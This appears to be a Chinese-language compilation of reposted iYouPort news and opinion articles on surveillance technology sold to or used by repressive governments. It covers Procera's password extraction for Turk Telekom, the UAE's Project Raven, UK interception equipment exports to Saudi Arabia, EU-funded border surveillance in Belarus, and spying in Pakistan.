Procera 公司拒绝讨论具体交易，其发言人通过电子邮件说了一大堆冠冕堂皇的套话。

Procera 公司成立于 2002 年，总部设在弗里蒙特，尽管其大部分开发工作在加拿大和瑞典完成，后者为欧洲和中东提供深度包检测服务。

2015 年中期，拥有 100 亿美元资产的私募股权公司 Francisco Partners 以 2.4 亿美元的价格收购了 Procera。根据公司新闻稿，一位新任首席执行官 Lyndon Cantor 被置于最高层，以推动 Procera 进入“战略发展进入下一章”。执行团队也得到了更新。这些变化使 Procera 的一些员工深感不满。一位前雇员告诉媒体说，Francisco Partners 的收购导致人们更加关注“监管合规……主要是批量监管的问题。”另一位员工称：“当 **Francisco Partners** 掌控时，商业道德被置于至关重要的位置，而非人性道德。”

今年8月，已经非常可疑的公司越来越受到关注。多伦多大学公民实验室和移动安全公司 Lookout 的研究人员对另一家被 Francisco Partners 组合投资的公司 NSO 集团的道德问题提出了严重质疑。

NSO 集团是一家专门服务于政府的间谍软件提供商，由以色列情报机构创办（Francisco Partners 在 2014 年以 1.2 亿美元收购了该公司的股份）。公民实验室发现了 NSO 的 Pegasus 恶意软件，该恶意软件在 45 个国家针对活动家、异议人士和记者发起攻击。同一天，Francisco Partners 又将 Circles 添加到了其另一家以色列成立的监控公司的投资名单中，该公司出售有争议的设备以破解全球电信网络的一部分，"称为 SS7"。私募股权公司花费了 1.3 亿美元，接近该交易的消息人士告诉媒体。详情见下面的三篇文章：

- 延伸阅读：这里有详细报告《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家 — ⚠亚洲有香港》
- 《政府间谍软件监控公民行为举世瞩目，为什么当局至今没有调查进展？》

- 《⚠当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》

土耳其惊人的大规模监视

在得知通过 Sekom 向 Turk Telekom 提供挖掘用户名和密码的功能后，Procera 的工程师担心他们实际上正在支持土耳其的监控状态，其行动受到人权组织越来越多的批评。

有很多令人不安的案件陆续发生：一名 14 岁的少年在 Facebook 帖子中批评 Erdoğan 之后被抓捕入狱；一名医生将 Erdoğan 与指环王角色 Gollum 的照片进行了比较之后，被判刑；在今年夏天土耳其的未遂政变之后，当局宣布了惊人的所谓的“紧急状态法”，对异议的攻击前所未有地加剧。被认为与在美国流亡的土耳其神职人员法土拉·葛兰有任何联系的任何个人或组织，都面临迫害；7月，15,200 名教职员工被停职并面临调查，1,577 名大学院长被要求辞职，2,277 名法官和检察官被拘留，所有这些都是因为据称“与葛兰有关系“。大赦国际"报告称"可靠消息来源确认一些被拘留者遭到酷刑和强奸。今年十月，“紧急状态”又延长了三个月。

土耳其国际特赦组织研究员安德鲁·加德纳说：“这些行政命令应该受到审查，但它们是由法官加盖的，并没有实际的方式来对这些决定提出上诉。” 作为国际权利组织员工的加德纳自己的 Twitter 账户也被阻止了 — 推特最近的透明度报告显示，埃尔多安政权在今年1月至6月期间提出了 2,493 项删除的内容请求，比其他任何国家都多。

毫无疑问，一家提供技术以辅助土耳其监控社会恶权的美国公司变得举世瞩目，不仅在 Procera 公司内部，而且在人权和隐私倡导者之间产生强烈反响。

“在网络层面拥有提取密码的能力对于任何一个政府来说都是非常令人震惊的能力，更不用说土耳其那种国家，” Privacy International 的宣传官马修·赖斯说。“人们应该关注的不仅仅是谁在要求拥有这种能力，更需要质问是谁提供了这种能力……这项工作已经不仅仅是 Procera 公司的问题，而且是整个监控技术行业前所未有的。”

- 延伸阅读：《最新报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》
- 《可视化数据：全球监控行业 — — 谁是大哥？谁在作恶？》

「图」

「图」

Turkish police use water cannon against teachers in Diyarbakir on September 9, 2016 during a protest against the suspension of over 10,000 teachers for suspected links to militants. (Photo credit — ILYAS AKENGIN/AFP/Getty Images)

‘NSA 级的技术’

两位安全专家将 Procera 公司出售的技术与美国国家安全局（NSA）黑客武库中的武器进行了比较。负责伯克利国际计算机科学研究所安全问题的高级研究员 Nicholas Weaver 说，**FORBES Procera** 的功能类似于"情报机构 XKEYSCORE 软件"的核心功能。根据美国国家安全局举报人 **Edward Snowden** 泄露的档案，**XKEYSCORE** 对互联网流量进行了持续监控，并抽走了情报机构感兴趣的所有数据，包括用户名和密码！“那是 XKEYSCORE 101，”Weaver 说。

公民实验室高级研究员和负责保护 First Look Media 的负责人表示：“鉴于 XKEYSCORE 可以完成的任务，Procera 这样的公司发现能将这种能力添加到他们现有的解决方案中并不奇怪，”他在审查了 Procera 的一些泄露文件后称，“按理说很多国家的情报机构都认为这是可取的。”

Sources 对 Procera Turk Telekom 项目的描述指出，前者的 PacketLogic 工具可以监控连接并将感兴趣的流量（例如未加密的登录）重定向到另一个产品，即网络应用程序可见性库（NAVL）。这将进一步探测数据包以检索 Turk Telekom 拥有的所有用户名和密码，该公司拥有 **1800** 万移动用户和 **830** 万宽带用户，它是土耳其最大的电信供应商之一，"据说"该公司拥有该国 **80%** 的光纤网络，并以 **TTNet** 的形式运营着最大的 **ISP**。曾经完全是国有资产，虽然土耳其财政部仍持有 30% 的股份，但它现在理论上属于私有资产。

你可能认为出口这种服务不会造成太大的伤害？大多数社交媒体、电子邮件和关键网站都通过 HTTPS 运行，其中计算机或智能手机与网站之间的连接是加密的。但是，据 Google 数据显示，在网络上被访问量最大的 100 个非 Google 网站中，有 60 个默认情况下不运行 HTTPS；大多数新闻网站 — 从福布斯，纽约时报，英国广播公司、到土耳其两个被阅读量最大的出版物 Hurriyet Daily News 和 Daily Sabah — 都不使用 HTTPS；同时，密码重用现象非常普遍。在

LastPass 今年进行的对 2,000 名成年人的调查中，61% 的人表示他们在网站上使用相同的或类似的密码。

由于存在这些安全漏洞，无论是政府还是犯罪分子的骇客行为，都可以从未加密的流量中获取密码，并尝试在任何网站上重复使用这些密码或稍微不同的密码，就很有可能获得访问权限。Weaver 还表示，通过捕获用户名，Procera 技术可用于对网上冲浪进行*去匿名化*处理，并更容易跟踪数百万土耳其电信客户的行为。

‘一个非常糟糕的主意’

2016 年上半年，Procera 员工向 CEO Cantor 提出了这样的担忧。“捕获密码这种事是我们不应该跨越的红线，” 联合创始人兼首席技术官 Alexander Havang 在公司内部社交网络 Confluence 上写道。“合法拦截不是我们的关键能力。如果这是监管要求而不是运营商的业务要求，我们应该尽力帮助他们理解到为什么这是一个非常糟糕的主意。” 在执行团队要求所有员工将所有来自媒体的询问转交给公关部门后，Havang 拒绝对此报道发表评论。

同一 thread 上的另一位员工问：“为什么我们要提取密码？用例是什么？这让人感觉非常糟糕。” Procera EMEA 解决方案工程师跟进了，称其中存在欺诈检测用例。作为回应，Andsten 补充道：“没有欺诈检测用例，我知道这需要密码，整个用例更像是一个社交图形而不是涉及欺诈的东西。“ 他后来补充说：“即使我们的整个业务就是为提取密码，但他们要求的也通常是完全不同的市场。我担心这里真正的问题是什么，以及我们将面临什么样品牌风险。“该对话于 3 月底结束。

在最终理解到土耳其电信公司的工作之后，Andsten 退出了。他的告别在该公司内部激起了强烈反响。两天后，即4月6日，一个一次性匿名电子邮件地址群发了另一封公司电子邮件，并签署了 La Resistance，呼吁所有反对 Turk Telekom 协议的人直接抗议 Francisco Partners。“我们绝对没有理由做不道德的交易。Procera 是一家伟大的公司，可以在世界上取得成功。我们过去一直都在为提高网络质量而努力。这就是为什么我们在这里 … 你的电子邮件绝对重要。如果你愿意，可以匿名签署。如果只听到一些声音，听起来就像非议，但如果你已经听到很多声音，那你就必须采取行动。“

4月11日，Cantor 在马尔默召开紧急会议，听取员工的意见，并根据酝酿的不满情绪，改组道德委员会; 在内部沟通方面，员工此前曾表示对该集团缺乏透明度而感到沮丧，该集团于2014年底成立，此前为

中东地区运营商提供深度包检测技术的交易已被证明是错误的。“我不希望我的代码上沾着血！”一位工程师抱怨道；“有可能在中东开展道德业务吗？”另一位问道。

消息人士回忆起一个特别尴尬的马尔默时刻。“所有开发商都提议站起来为 [Andsten] 鼓掌，因为他坚定的立场，”一位消息人士说。“群情激愤，舞台上的管理团队被逼着必须参与进来。”

Procera 并没有强迫不情愿的员工去做这项工作。现任和前任员工表示，用户名和密码提取部分外包给加拿大公司 Northforge，声称这是为了“避免加剧工程师和高管之间的紧张关系”。Procera 没有对这方面的工作发表评论。Northforge 没有回复评论请求。

据消息人士透露，自 Andsten 辞职以来，又有五名工程师辞职。现任和前任员工表示，工作仍在继续，他还表示，**CEO Cantor** 发出了更多公司范围内的电子邮件，建议工作人员不要与媒体交谈。

「图」

「图」

Procera Networks’ office in Malmo, Sweden, where engineers were upset about its shipments to Turkey.

土耳其的监控制度

虽然员工仍然担心土耳其政府可以访问数百万公民的用户名和密码，但是埃尔多安政府甚至土耳其电信公司都没有直接与 Procera 签订合同。该合同是跟作为中介的 Sekom 签署的，Sekom 是一家系统集成商，致力于在运营商层面安装该技术（Sekom 没有回复评论请求）。土耳其电信发言人在一封电子邮件中写道：“作为土耳其领先的通信和娱乐技术公司 Turk Telekom，我们始终致力于为客户提供尖端技术的产品和服务。为实现这一目标，我们正在升级和更新网络基础设施中过时的设备……该公司拒绝评论用户名和密码的提取功能。

与任何运营商一样，土耳其电信也受政府立法的支配。其中一项更具侵入性的法规 — "第 5651号法令" — 要求每家电信公司记录和存储用户活动长达两年，并在法院要求时将该数据提交给政府；**2015** 年通过的“ "国土安全法"”允许土耳其政府在不需要获得法官许可的情况下，对嫌疑人的电信连接进行 **48** 小时的跟踪监视。

深度包检测

和任何从事深度包检测（DPI）的公司一样，Procera 不得不在提供有用的网络技术和危险的监控设备之间划出一条红线。Procera 绝不会将自己描述为监控公司，而是描述为电信运营商的 QOE 和 QOS（体验质量和服务质量）供应商。

但 DPI 本质上就是侵入性的。Citizen Lab 的高级法律顾问 Sarah Mckune 表示，“深度包检测可以在一开始就实现监控功能。”它的目的是打开流经网络的数据包，并检查它们是否应该被允许通过。就像有人在邮局搜索包裹以确定内部是否存在任何非法违禁品一样，DPI 会扫描每一个数据包并记录内部的内容，然后再决定将数据路由到哪里或者将其丢弃。

DPI 已成为有争议的用例的头条新闻。例如，中国政府很喜欢在其臭名昭著的审查和监视系统中使用 DPI；总部位于加利福尼亚州桑尼维尔的 Blue Coat Systems，Francisco Partners 是其重要的投资者之一，在内战爆发时，它提供的 DPI 技术在2011年帮助审查了叙利亚的互联网。人权活动人士非常愤怒，但 Blue Coat 后来承认，经销商应该受到谴责，并且没有允许该技术被运往叙利亚。一家经销商后来被工业和安全局（BIS）处以最高罚款 280 万美元（**Francisco Partners** 还持有 **Barracuda Networks** 和戴尔软件的股份，后两者均出售 **DPI** 产品）。

与此同时，土耳其正在继续扩大对网络的控制。就在本月，据报道，有超过 150 名警察因使用加密工具 ByLock 而被捕，政府认为这是“葛兰用来策划政变的工具”；云服务 Microsoft OneDrive、Google Drive 和 Dropbox 以及代码库 Github 都在土耳其被阻止。

谷歌帮助中国政府的审查，另一家美国公司 Procera 帮助土耳其的暴政对所有公民实施间谍行为；被曝光后前者紧急封锁了相关文件，后者禁止其员工接触媒体；两者都在引起群情激愤后遭到了来自内外部的反抗、员工辞职，并且同时，两者也都没有因此改变他们的做法。○

原文

美国间谍帮助阿联酋侵犯人权一事提醒了什么 - iYouPort

协助暴政的家伙们

美国前情报人员帮助阿联酋政权监视记者和政府批评者的报道应该激发西方政府领导人的一些认真的反省，他们的行为正在以“打击犯罪和恐怖主义”的借口破坏公民的网络安全。

路透社报道，包括前国家安全局（NSA）分析员在内的前美国情报人员，一直在为阿联酋的秘密团队工作，以帮助该威权政府监视其敌人和对手。目标不仅包括竞争对手国家的政府官员（如卡塔尔人），还包括批评政府的人权活动家，被针对的目标甚至包括美国公民。

“我正在为一个针对美国人的外国情报机构工作，”前 NSA 分析师 Lori Stroud 告诉路透社。“我是正式的间谍。”Stroud 于2014年离开了美国国家安全局—部分原因是她推荐了爱德华·斯诺登（Edward Snowden）担任国家安全局的承包商。此后她开始为阿联酋工作。

她参加了一项名为 Project Raven 的计划，她最初认为这是一项旨在保护阿联酋免受黑客和威胁攻击的防御性反恐行动。然而不久，她很快就明白了。这是一个击败阿联酋政权的敌人的侵略性计划。

Project Raven 项目利用 iPhone 的安全漏洞，允许间谍们在用户不知道、甚至无需做任何事的情况下安装恶意软件。这个名为 Karma 的工具允许黑客收集照片和位置信息，并收集保存的密码。

阿联酋试图侵入持不同政见者和活动家的手机，这不足为奇。由于阿联酋一直在钟情于破坏该国人权倡导者电话的恶意软件工具，苹果实际上在2016年发布了对 iPhone 的紧急更新。

路透社的报告为我们提供了另一个理由，即 选民应该以打击犯罪和恐怖主义的名义拒绝政府要求破坏网络安全的行动。这里指的是真正的犯罪行为，而不是当局的借口。

具体而言，我指的是政府官员和执法领导人不断坚持认为电话和在线

通信平台和应用程序应该有某种后门，或可以让政府绕过加密的机制。在美国、英国和澳大利亚，都有政治领导人和执法及情报部门的负责人，他们坚持认为科技公司必须帮助他们实现对加密通信进行监视。

隐私专家和技术专家习惯性地警告这些领导者，你不能以这样的方式危害网络安全，因为任何可用于绕过加密的技术都不可避免地会落入坏人之手并被用来对抗好人。这些坏人可能是想要搞身份盗窃或诈骗的罪犯，更可能就是危险的政府本身，如阿联酋希望在美国国家安全局的帮助下惩罚人权活动家。政府是最大的犯罪分子。

急需提醒下澳大利亚议会，他们的反加密立法实际上可能会杀人。

Bombshell Report About Americans Helping UAE Hack Phones Is a Warning Against Compromising Encryption. Hacking tools end up in the hands of some dangerous people. So, apparently, do our government hackers.

原文

美国雇佣军为什么要帮助威权政府迫害异议人士？ - iYouPort

协助暴政的家伙们地缘政治

这篇报道揭示了互联网上每个人的脆弱性，任何有足够资金的人都可以对所有人进行骇客攻击或大规模监视。美国雇佣军为什么要帮助威权政府迫害异议人士？

「图」

「图」

路透社报道，阿联酋通过向前美国国家安全局网络雇佣军—美国公民—支付高额酬劳，以追踪人权活动家、记者和竞争对手国家领导人，从而在网络战中占据上风。

但是，美国间谍只有当他们意识到自己正在代表阿联酋老板监视美国同胞时才会退缩。

路透社的报道揭示了互联网上每个人的脆弱性，任何有足够资金的人都可以对所有人进行黑客攻击或大规模监视。

一个人的生活方方面面、他们的家人、朋友、政治观点都会受到入侵，如果入侵者有决心并且资金足够丰富，就可以利用我们的移动设备的安全漏洞攻击我们。事实上美国人愿意为其他国家的当权者做这件事，只要目标不是美国人。

这项调查的爆炸性揭露揭示了阿联酋的美国雇员如何利用他们在美国大规模监视方面的经验入侵 iPhone 或感染任何阿联酋政权不喜欢的人的计算机。

虽然他们的行动举着“纯粹防御性使命”的口号，保护阿联酋数据免受攻击，但是，他们的实际工作是侵犯，深入到任何批评阿联酋国内政治或外交政策的人的私密生活。由于海湾外交危机加剧了地区紧张局势，阿联酋加强了网络攻势。

“有些日子很难就此忘掉，比如，当你瞄准一个16岁的孩子在 Twitter 上。但这是一个情报任务，你是一个情报人员 ……我从来没有把目标当成一个人，” Lori Stroud 说。

Stroud 后来搬回了美国，在那里她居住在一个秘密地点。其他要求匿名的前雇员证实了 Stroud 所讲述的一切。

该报告包含有关阿联酋如何在网络空间中行动的令人眼花缭乱的细节。伊朗人和卡塔尔人是这项监视的主要目标，甚至一些美国人也是目标。当 Stroud 和其他人发现这一问题时，他们开始对自己正在做的事产生道德上的疑虑。

美国法律禁止情报界直接监视美国公民（联邦调查局填补了这一角色），但这就是为什么阿拉伯人在 Raven 项目的掩护下向美国人付钱。

该计划的具体细节令人不安，但更令人担忧的是，只要活动人士不是美国人，这些美国网络雇佣兵就可以随意监视人权活动人士。这是对网络雇佣兵最重要的区别：他们关注的只是国籍，而不是他们的人性。

“我发现这个前国家安全局雇佣兵特别奇怪的是她的良心只是在她监视美国人时才被刺破，好像所有这些阿拉伯持不同政见者和记者的自由和生命风险，都是毫无价值的，“—— 作家 Khaled Diab 在Twitter上写道。

互联网是一种令人难以置信的新东西—类似于与我们自己更熟悉的物理现实相融合的平行维度。因此，它似乎不是“现实生活”，但它比现实更多。

它的结构、服务器和光缆也是物理现实的一部分，但我们在那里的存在似乎纯粹是心理的，形而上的。人类大脑破译是非、或道德和不道德的能力，并没有为这个由镜像构成的新世界做好准备。

回到现实世界中，怪诞的侵权行为似乎更加明确。一名美国工程师拿着巨额资金建造国际认可的集束炸弹或白磷弹药，无法掩盖 Stroud 所做的“从未拿目标当成个人”的借口。

19世纪的蒸汽机车的发明者可能从未想到他们的发明的后一版本导致使数百万人死亡；步枪的发明者可能从未想过几十年后欧洲堑壕战的恐怖。第一次世界大战的幸存者没有意识到的是，任何战争都不能带

来和平，只有人才能结束战争带来和平。

本世纪的网络武器会是什么？在严密和严格的政府监视下劳作？

形而上的 trolling 从网络领域迸发出来，跟随一个男人走进领事馆，一个简单的婚姻文书工作的最后时刻发生了什么？我们已经到这一刻了。

正如人权法不能阻止侵犯人权一样，关于网络战法的国际协议也不会结束政府的权力滥用，但至少它们可以为如何谈论它们提供几个词汇。

阿联酋激进的网络行动是一个预兆，一个可怕的先行者，预示着如果世界选择忽视历史，未来的恐怖将在21世纪等待所有人。我们什么样互联网就是什么样，我们必须做得更好。

- 关联：《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》
- 《为什么这家美国公司努力帮助中国的监控社会？》
- 《中东君主制如何雇佣美国战士以杀死其政敌?—这大概就是战争未来的样子》

Spies and lies: Aggressive UAE cyber ops expose ex-NSA hackers: Americans working for the Emiratis used their experience of mass surveillance to hack iPhones

原文

英国帮凶 - iYouPort

协助暴政的家伙们

之前英国出口的间谍技术包括有争议的IMSI捕手，能够窃听电话谈话、访问存储在手机上的私人信息，并对参加任何活动的个人进行不加区别的监控，比如政治示威者

「图」

「图」

根据“信息自由”法案发布的新数据显示，英国国际贸易部在2017年9月至2018年9月期间向沙特王国颁发了五个电信拦截设备出口许可证—— 尽管该国被列入了英国的人权观察名单。活动家指责政府通过允许销售来授权该专制体制。[[

|https://web.archive.org/web/20210818204125/https://www.wix.com/dashboard/6fc0666c-c125-4701-93b5-303f8db9aa33/blog/search/posts?referralInfo＝sidebar&query＝%23humanrights]]

最新披露没有列出特定的产品类型—— 但是，⚠ 之前英国出口的间谍技术包括有争议的IMSI捕手，能够窃听电话谈话、访问存储在手机上的私人信息，并对参加任何活动的个人进行不加区别的监控，比如政治示威者。

工党议员劳埃德·拉塞尔·莫伊尔（Lloll Russell-Moyle）曾担任下议院武器出口管制委员会成员，他说：间谍技术销售是政府对武器出口法律“粗暴对待”的证据。

“英国向世界各地的专制政权出口手机拦截工具是一个非常令人担忧的现象，因为这些技术是捕杀持不同政见者和阻挠公众抗议的有效工具，”他说。

“对 ISMI 捕手的无管制使用甚至引发了英国隐私和公民自由的问题，

所以政府正在向沙特阿拉伯许可这件事情是不可思议的，该国最近下令谋杀并肢解了一名持不同政见者。“

他补充说：“政府似乎对其自己的武器出口管制法律持谨慎态度，该法律明确规定，如果存在明显的风险如可被用于镇压，那么许可商品出口是非法的。”

今年早些时候，外交部关于人权的报告引起了对沙特阿拉伯“言论自由和新闻自由恶化”的担忧。

该报告还强调了四名因抗议政府而被审判和处决的个人案件。

英国政府一直在拒绝停止向该王国出售武器和其他设备的呼吁。

- 延伸阅读：《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》

Ministers approved the sale of more than £2.5million-worth of snooping equipment to Saudi Arabia in the past year despite concerns over its human rights record, PoliticsHome can reveal. “Britain’s export of mobile phone interception kit to repressive regimes across the world is a very worrying phenomenon because they are effective tools to hunt dissidents and disrupt public protest”.

原文

装备独裁者 - iYouPort

协助暴政的家伙们地缘政治

监控摄像机、通信设备、地动传感器、巡逻车，”这些设备根本不区分公民、移民或难民 —— 这种极权主义基础设施给予政权可以监视其境内的每个人、包括本国公民的强大权力...

「图」

「图」

欧盟资助了价值超过200万欧元的监视和巡逻设备给白俄罗斯边境涉嫌侵犯权利的当局，Danwatch 和 OCCRP 对欧盟资助的招标和合同进行了调查。

这些设备包括监控摄像机、通信设备、地动传感器、巡逻车和船只。

近四分之一世纪以来，总统 Alexander Lukashenko 一直严格控制白俄罗斯，通过专制政策来限制民主反抗、扼杀言论自由和关键媒体。白俄罗斯仍然是唯一仍然使用死刑的欧洲国家。

这些正是欧盟对白俄罗斯实施禁运的原因之一，白俄罗斯被禁止提供那些可能被用于政治镇压的技术设备。欧洲理事会上一次于2018年2月续签了禁运令，禁止销售、供应、转让或出口任何此类设备及其融资。

然而，为了遏制移民，欧盟还向其东部沿线国家的当局提供了监视技术培训和边境控制设备。其中就包括白俄罗斯，其在**2015**年至**2017**年期间从欧盟获得了价值超过**200**万欧元的车辆和设备，以便更好地监控进出该国的所有人。

收到欧盟监视设备的白俄罗斯共和国国家边境委员会（SBC）被指控通过骚扰试图进入和离开该国的人权和劳工活动家来镇压该政权的批评者。

在明显违反国际法的情况下，SBC 警卫也被指控将难民送回压制他们的政府的噩梦。在SBC自己的 YouTube 帐户上发布的视频显示，边防官员拼命地逮捕该机构称为“非法移民”的人群。

人权倡导者说，欧盟可能间接地导致了这些违法行为。

“我们看到白俄罗斯的人权侵犯与监视技术的获取有关，我们看到对寻求庇护者和移民的权利的扼杀，”大赦国际的高级研究顾问 Joshua Franco 说，他专注于技术和人权问题。

他说：“欧盟正在急于限制移民和难民进入欧盟，从而牺牲人权” “这是一个令人担忧的趋势。”

这些监视设备是欧盟计划的一部分，旨在加强地方当局在白俄罗斯和乌克兰边境的监视能力，目标是防止移民进入欧盟领土。

丹麦奥尔堡大学助理教授 Martin Lemberg-Pedersen 对欧盟向非欧盟国家提供边境监控设备的政策进行了广泛的研究。

他指出：“所提供的设备类型并不区分公民、移民或难民 — — 它不仅用于瞄准难民和移民。这种极权主义基础设施给予政权 — 如白俄罗斯的政权，可以监视其境内的每个人、包括其本国公民的强大权力。白俄罗斯是一个有着长期侵犯欧盟声称维护的基本权利的政权。“

大赦国际的 Franco 认为，欧盟有责任确保其边境管制工作不会助长侵犯人权的行为。

这可以通过多种方式发生。

Franco 说，“就内部压制而言，监视总体上对民间社会产生了巨大的寒蝉效应。这一切都是秘密进行的，监视的事实会导致人们进行自我审查。“

为了回应记者的询问，SBC 的发言人 Anton Bychkovskiy 表示，警卫有权搜查进出该国的任何人。他还说欧盟资助的设备仅用于白俄罗斯 — 乌克兰边境。

白俄罗斯还与欧盟国家波兰共享陆地边界，多年来，它一直是前往欧洲寻求庇护的难民的主要过境国。许多难民来自俄罗斯，特别是来自动荡的车臣。

在2018年5月，SBC在 其 YouTube 页面上发布了一段视频，显示官

员拘留了一群阿富汗和印度移民，这些移民是从俄罗斯进入白俄罗斯试图抵达欧盟的。视频：

在2018年4月发布的另一部视频中，一群白俄罗斯边防警卫在靠近明斯克的一段道路上奔向一辆汽车，该车的乘客在标题中描述为移民。他们没有武器。一名边防警卫举着枪向移民大喊大叫，边防部队继续将移民拉出车外，给他们戴上手铐，让他们躺在路边。

Lemberg-Pedersen 说："这些视频非常可怕，应引起欧盟领导人的高度关注。如果这就是白俄罗斯边防警察对移民采取行动的方式，那么欧盟及其成员国正在装备一个暴政。

国际特赦组织说，白俄罗斯缺乏"一个有效的庇护制度，并一再将寻求国际权利保护的个人交给那些令他们真正遭受酷刑或其他虐待的国家的当局。"

来自人权组织和媒体机构的记录显示，在本国遭受酷刑和失踪的车臣难民也受到了白俄罗斯边防部队的粗暴对待。

有组织犯罪和腐败报告项目（OCCRP）和 Danwatch 审查了两起案件，其中白俄罗斯边防部队无视逃离车臣的人们的庇护申请，而是将他们送到俄罗斯。

欧洲难民和流亡委员会国际倡导组织主席 Josephine Liebl 表示，这种做法直接违反了国际难民法，该法规定各国必须允许在其境内寻求保护的人登记庇护申请。如果有理由相信他们有遭受迫害或酷刑的风险，该原则禁止将寻求庇护者送回国。

专家指出，通过向白俄罗斯政权提供监视技术和巡逻设备，欧盟违反了自己的禁运令。

由于欧盟的禁运禁止向白俄罗斯提供"夜视和热成像设备"，因此最有问题的是红外监控摄像机的供应。

根据招标文件，这些摄像机可以检测到距离最远110米外的人，而这些摄像机是与俄罗斯监视技术公司签订的380,900欧元合同的一部分。

记者向欧盟委员会询问，欧盟向白俄罗斯边境当局供应设备是否有可能导致内部镇压或侵犯难民的人权。

"对欧盟向警察国家或人权记录不佳的国家提供边境监控设备的批评

并不新鲜。当欧盟一方面讨论基本权利，同时加强与直接侵犯这些权利的国家和政权的关系时，原则变得很虚伪”。

The EU has funded surveillance and patrol equipment worth more than 2 million euros for the benefit of Belarusian border authorities implicated in rights abuses, a Danwatch and OCCRP probe into EU-funded tenders and contracts shows.

原文

谁在作恶？ - iYouPort

作恶者：中国在帮谁协助暴政的家伙们

中国、美国、英国、法国、意大利和朝鲜，在某一个至关重要的位置上并肩一致了。为什么会这样？究竟还有多少我们不知道的隐情？忘了那些表面化的地缘政治游戏吧，只有主流媒体喜欢它们，因为流量经济而已 ...；拿回并守住人权需要持续不断的努力，政治气候变化在此所起的作用非常微小，因为每一任当局都是至高无上之权力的痴迷者 **The state bytes back: Internet surveillance in Pakistan**

Farhatullah Babar 一直在衡量自己所说的每一个字。他小心翼翼，非常谨慎，他害怕有人可能会听到他说的任何话。“国家机构可以做到监听一切，”他说。

巴巴尔坐在伊斯兰堡一座破旧的老建筑的可用部分，看起来就像是好莱坞侦探惊悚片中的角色。“最近监视的范围已经开始增加了，”他说，灯光在他周围空荡荡的大厅里闪烁，这些大厅曾经是20世纪70年代由巴基斯坦人民党（PPP）拥有的出版物乌尔都语日报 Musawat 的办公室。“很多人都觉得自己的手机被拦截了，”他说。

参议院的一位同事萨利姆·曼德维瓦拉（Saleem Mandviwalla）与巴巴尔（Babar）一样属于PPP，他也抱怨这种拦截行为。在今年1月举行的参议院委员会会议上，官方文件显示联邦政府已经授权窃听他的电话并拦截他的个人数据。

情报局（IB）负责人 Aftab Sultan 出席了会议，但他拒绝透露任何信息。他说没有正式工作的官员可以在没有事先知情的情况下拦截通讯，他还说只有总理可以批准这种拦截，如果信息传播来源被认为是恐怖分子，那也是如此。显然，没有人真的相信他。

巴基斯坦的情报机构几乎从来没有放弃对公民之间通信的监听。在20世纪90年代，监视和拦截这些通信是如此的普遍，尽管自那时以来政

治气候发生了很多变化，但情报机构继续窃听政治家、人权活动家、记者和政府官员等人士使用的电话和其他通讯渠道。

英国的互联网权利倡导组织 Privacy International 发布的一份报告称，今年早些时候，各种情报机构正在巴基斯坦入侵数千部手机。

Babar 说，如果有的话，该州的监控能力随着时间的推移而增长。“技术的快速发展增加了情报机构侵入私人空间的能力，”他说。“技术进步越大，对人权的侵犯就越大。”

更多详见：《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》

隐私国际组织的报告基于广泛的研究和数百次关于巴基斯坦网络空间监视普遍性的访谈。该报告名为 “Tipping the Scales: Surveillance and Security”，引发了一些惊人的揭露。

它说，自**2005**年以来，不同的情报机构已经从世界顶级技术公司获得了很多监控技术。这些公司包括法国手机制造商阿尔卡特、通信巨头爱立信、中国设备制造商华为、和网络安全提供商 **SS8** 和 **Utimaco**。报告称，根据此类设备的购买情况，巴基斯坦全球知名的军事秘密机构—— 跨服务情报机构（ISI）的监控能力已经超出了本地和国际上可用的法律和监管机制。

报告中提供的一些信息是基于从 Hacking Team 获取的400千兆字节数字文档，Hacking Team 是一家专门从事远程控制系统（一种间谍软件）的意大利公司。被黑客揭露的信息最初由维基解密于2015年7月8日发布，其中包含了 Hacking Team 与代表巴基斯坦执法和情报机构（包括 ISI，FIA）的多个承包商之间的通信的详细信息，还有国防部和警察局。

关于 Hacking Team 的资料剖析，更多详见：《不需要 hacking 也能做到窥探你的一切—— 挖掘更深层的内幕 OSINT》

具有讽刺意味的是，情报机构愿意与他们的敌人分享虚拟空间，以便能够压制巴基斯坦公民的言论自由和隐私权—— 就是中国采取的那种“占领舆论空间战术”。2014年2月，Hacking Team 的工作人员举办了一场网络研讨会，印度的研究与分析部（RAW）和巴基斯坦的IB参与了该网络研讨会。

还有其他报道对巴基斯坦网络空间中拦截设备和监视软件的存在做出

了类似的声明。一个致力于言论自由和数字权利的组织，Bytes for All，于2013年向拉合尔高等法院提起诉讼，针对巴基斯坦电信管理局（PTA），因为一长串网站和数字平台受到监控，并受到审查。对投诉的最终判决，通常称为 YouTube 案件，目前仍在最高法院审理。

2014年2月，位于卡拉奇的数字权利倡导和研究小组 Bolo Bhi 根据信息权法提出了信息请求。2013年4月30日由加拿大多伦多大学实验室公民实验室发布的一份报告提出了这一要求，该实验室的主题是“信息通信技术（ICT）、人权和全球安全的交叉点”。“实验室称在巴基斯坦检测到了 FinFisher 指挥和控制服务器的存在。这些服务器由英国 **Gamma** 集团在全球销售，运行数字间谍软件进行大规模监控。2014年5月，PTA 管理国内互联网和电信服务，

该报告的作者不知道是谁设置了并且正在运行这些服务器。它可能是巴基斯坦情报机构或其他国家的秘密机构。

也许这方面最令人不安的披露来自美国国防顾问爱德华•斯诺登（Edward Snowden），他揭露了美国和英国秘密机构在其本国和国外开展的监视和监控活动。根据斯诺登公布的文件，英国电子间谍机构通信总部（GCHQ）不仅获得了在巴基斯坦全国范围内“监视几乎任何互联网用户”的能力，而且还“通过国际链接重新路由选择性流量到 GCHQ 的被动收集系统”。

据隐私国际组织报道，如果没有巴基斯坦当局的参与或至少是默默的合作，就不可能进行这种侵入性监视。众所周知，巴基斯坦已与美国就共享信号情报签署了一项协议，根据这一安排，巴基斯坦已成为美国国家安全局（**NSA**）最大的资金接收国之一，以提高其间谍和监视能力。该协议保证了两国之间的关系是“长期的”，并称涉及“更高的信任度”和“更高的合作水平”。

根据 Privacy International 的说法，巴基斯坦接受“技术解决方案（例如，硬件或软件）和/或获取相关技术”，以换取“愿意做出具有政治风险的事”，例如监视和拦截个人和机构通信。

